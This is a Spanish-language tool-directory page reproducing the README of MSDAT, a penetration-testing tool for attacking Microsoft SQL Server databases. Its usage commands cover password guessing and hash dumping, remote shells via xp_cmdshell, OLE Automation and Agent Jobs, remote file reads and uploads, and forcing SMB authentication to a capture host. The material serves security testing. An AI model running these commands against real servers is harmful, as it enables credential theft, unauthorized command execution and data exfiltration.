Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
msdat — MSDAT: Herramienta de ataque a bases de datos Microsoft SQL | Kitploit
Herramientas/GitHubGitHub/quentinhardy/msdat
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónRecopilación de InformaciónPruebas de PenetraciónSeguridad de Bases de Datos
GitHubquentinhardy/msdat

msdat

MSDAT: Herramienta de ataque a bases de datos Microsoft SQL

Ver Repositorio
1.0k14515hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) es una herramienta de pruebas de penetración de código abierto que prueba la seguridad de las bases de datos Microsoft SQL de forma remota.

Ejemplos de uso de MSDAT:

  • Tiene una base de datos Microsoft escuchando de forma remota y desea encontrar credenciales válidas para conectarse a la base de datos
  • Tiene una cuenta válida de Microsoft SQL en una base de datos y desea escalar sus privilegios
  • Tiene una cuenta válida de Microsoft SQL y desea ejecutar comandos en el sistema operativo que aloja esta base de datos (p. ej., xp_cmdshell, OLE Automation, Agent Jobs)

Probado en bases de datos Microsof SQL 2005, 2008, 2012, 2014, 2016 y 2019.

Changelog

  • Versión 2.4 (2022/12/28) :
    • 2 nuevas opciones en el módulo search: --privs y --privs-full para obtener roles y privilegios del usuario actual (p. ej., privilegios de inicio de sesión y base de datos)
    • 1 nueva opción en el módulo search: --config para obtener configuraciones e información de la base de datos (versión, bases de datos, usuarios, usuarios deshabilitados, procedimientos almacenados, etc.)
  • Versión 2.3 (2022/12/18) :
    • compatible con Microsoft SQL Server 2019
    • nueva opción --schema-dump en el módulo search para extraer el esquema y guardarlo en un archivo (excepto para bases de datos predeterminadas)
    • nueva opción --table-dump en el módulo search para extraer todas las tablas y guardarlas en un archivo (excepto para bases de datos predeterminadas)
    • nueva opción --sql-shell en el módulo search para obtener un pseudo shell SQL mínimo
  • Versión 2.2 (2022/04/29) :
    • --nmap-file y -l ahora se pueden usar en el módulo all y en el módulo passwordguesser. Puede proporcionar una lista de objetivos con -l o un archivo nmap con --nmap-file.
    • Múltiples correcciones de errores
  • Versión 2.1 (2020/03/04) :
    • Opción --nmap-file para cargar todos los servicios mssql desde un archivo XML nmap (se debe instalar python-libnmap)
  • Versión 2.0 (2020/03/04) :
    • Python 2 a Python 3: MSDAT ahora es compatible solo con Python 3. Python 2 no es compatible.
    • Opción de separador en el módulo de adivinación de contraseñas
    • Mejoras en la captura de errores en la opción --put-file del módulo xpcmdshell
    • Mejoras en la opción de reverse shell del módulo jobs
    • Módulo de automatización OLE - mejoras en la ejecución de comandos
    • Módulo de automatización OLE - implementado reverse shell de Powershell
    • nueva opción para imprimir la lista de trabajos de agentes y su código: --print-jobs
  • Versión 1.2 (2020/02/26) :
    • Nuevo método en el módulo xpCmdShell: Subir un archivo binario con powershell (--put-file)
    • Mejora en oleAutomation: subir el archivo en modo binario en lugar de archivo de texto

Features

Gracias a MSDAT (Microsoft SQL Database Attacking Tool), puedes (lista no exhaustiva):

  • Obtener información técnica (ej.: versión de la base de datos) de una base de datos MSSQL sin necesidad de autenticarse
  • cargar un archivo nmap para escanear todos los objetivos MSSQL
  • Buscar cuentas MSSQL con un ataque de diccionario
  • Probar cada inicio de sesión como contraseña (se requiere autenticación)
  • Obtener un shell de Windows en el servidor de bases de datos con:
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • Descargar archivos de forma remota con:
    • OLE Automation
    • bulkinsert
    • openrowset
  • Subir archivos al servidor con:
    • OLE Automation
    • openrowset
  • Capturar una autenticación SMB gracias a:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • Robar contraseñas hash de MSSQL, en cualquier versión de MSSQL
  • Escanear puertos a través de la base de datos:
    • openrowset
  • Ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos (objetivo) con:
    • bulkinsert
    • openrowset
  • Listar archivos/directorios con:
    • xp_subdirs
    • xp_dirtree
  • Listar unidades/medios con:
    • xp_fixeddrives
    • xp_availablemedia
  • Crear carpeta con:
    • xp_create_subdir
  • buscar datos sensibles en tablas (ej.: credenciales)
  • obtener configuración de la base de datos (bases de datos, usuarios, procedimientos almacenados, etc.)
  • extraer esquema e información de todas las tablas
  • ejecutar comandos SQL básicos en un pseudo shell SQL

Installation

Se deben instalar algunas dependencias para ejecutar MSDAT.

En ubuntu:

root@kitploit:~
sudo apt-get install freetds-dev 

o descargar freetds desde http://www.freetds.org/

Instalar dependencias de Python:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

o

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Agregue "use ntlmv2 = yes" en su archivo de configuración de freetds (ej.: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf). Ejemplo:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Cómo comenzar

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy ([email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

Ejemplos

Módulos

  • Puede listar todos los módulos:
root@kitploit:~
./msdat.py -h
  • Cuando haya elegido un módulo (ejemplo: all), puede usarlo y listar todas las características y opciones del módulo:
root@kitploit:~
./msdat.py all -h

Puede saber si un módulo específico se puede usar en un servidor MSSQL gracias a la opción --test-module. Esta opción está implementada en cada módulo de mdat.

Módulo all

El módulo all le permite ejecutar todos los módulos (depende de las opciones que haya proporcionado).

root@kitploit:~
python msdat.py all -s $SERVER

Si desea:

  • usar su propio archivo de cuentas para el ataque de diccionario
  • probar varias contraseñas para un usuario sin que se lo pregunte
  • definir su propio valor de tiempo de espera
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

En cada módulo, puede definir el conjunto de caracteres a usar con la opción --charset.

Módulo mssqlinfo

Para obtener información técnica sobre un servidor MSSQL remoto sin necesidad de autenticarse:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Este módulo usa el protocolo TDS y el SQL browser Server para obtener información.

Módulo passwordguesser

Este módulo le permite buscar credenciales válidas:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

La opción --force-retry permite probar múltiples contraseñas para cada usuario sin que se lo pregunte.

Puede especificar su propio archivo de cuentas con la opción --accounts-file:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

Módulo passwordstealer

Para volcar contraseñas hash:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014.

Módulo xpcmdshell

Para ejecutar comandos del sistema gracias a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Este comando anterior le da un shell interactivo en el servidor de bases de datos remoto.

Si xp_cmdshell no está habilitado, se puede usar la opción --enable-xpcmdshell en este módulo para activarlo:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

La opción --enable-xpcmdshell habilita xp_cmdshell si no está habilitado (no habilitado por defecto).

La opción --disable-xpcmdshell deshabilita xp_cmdshell si está habilitado.

Módulo smbauthcapture

Gracias a este módulo, puede capturar una autenticación SMB:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Para capturar la autenticación SMB, se puede usar el módulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

El comando capture de este módulo intenta capturar una autenticación SMB gracias a los procedimientos xp_dirtree, xp_fileexist o xp-getfiledetails.

Si desea elegir el procedimiento de autenticación SMB para capturar la autenticación:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Puede cambiar el nombre del SHARE con la opción --share-name.

Módulo oleautomation

Este módulo se puede usar para leer/escribir archivos en el servidor de bases de datos.

El siguiente comando lee el archivo temp.txt almacenado en el servidor de bases de datos:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Para escribir una cadena en un archivo (temp.txt) de forma remota:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Este módulo se puede usar para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt) almacenado en el servidor de bases de datos:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

También, puede usar este módulo para subir un archivo (temp.txt) al objetivo:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

Módulo bulkopen

El módulo bulkopen se puede usar:

  • para leer/descargar archivos almacenados en un servidor de bases de datos
  • para escanear puertos a través del servidor de bases de datos
  • para ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos

Para leer un archivo almacenado en el objetivo, se puede usar el siguiente comando:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

La opción --method se puede usar para especificar el método a usar:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) o
  • openrowset (https://msdn.microsoft.com/en-us/library/ms190312.aspx):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Este módulo se puede usar para escanear puertos (1433 y 1434 de 127.0.0.1) a través del servidor de bases de datos:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Puede escanear un rango de puertos:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Este módulo se puede usar para ejecutar solicitudes SQL (ej.: select @@ServerName) en un servidor de bases de datos remoto (ej.: $SERVER2) a través de la base de datos ($SERVER):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Módulo xpdirectory

El módulo xpdirectory se puede usar:

  • para listar:
  • archivos
  • directorios
  • unidades
  • para comprobar si existe un archivo
  • para crear un directorio

Para listar archivos en un directorio específico:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Para listar directorios en un directorio específico:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Para listar unidades:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Para comprobar si existe un archivo:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Para crear un directorio:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

Módulo search

El módulo search se puede usar para buscar un patrón en los nombres de columnas de tablas y vistas. Útil para buscar el patrón %password% en nombres de columnas, por ejemplo.

Para obtener nombres de columnas que contienen patrones de contraseña (ej.: passwd, password, motdepasse, clave):

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Si desea ver nombres de columnas que no contienen datos, debe usar la opción --show-empty-columns.

Para buscar un patrón específico en los nombres de columnas de vistas y tablas:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Donation

Si desea apoyar mi trabajo haciendo una donación, lo agradeceré mucho:

  • Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Descargar herramienta
  • Versión 1.1 (2019/07/12) :
    • muchas otras credenciales predeterminadas. Gracias a https://github.com/govolution/betterdefaultpasslist/
  • Versión 1.0 (2017/02/15) :
    • primera versión publicada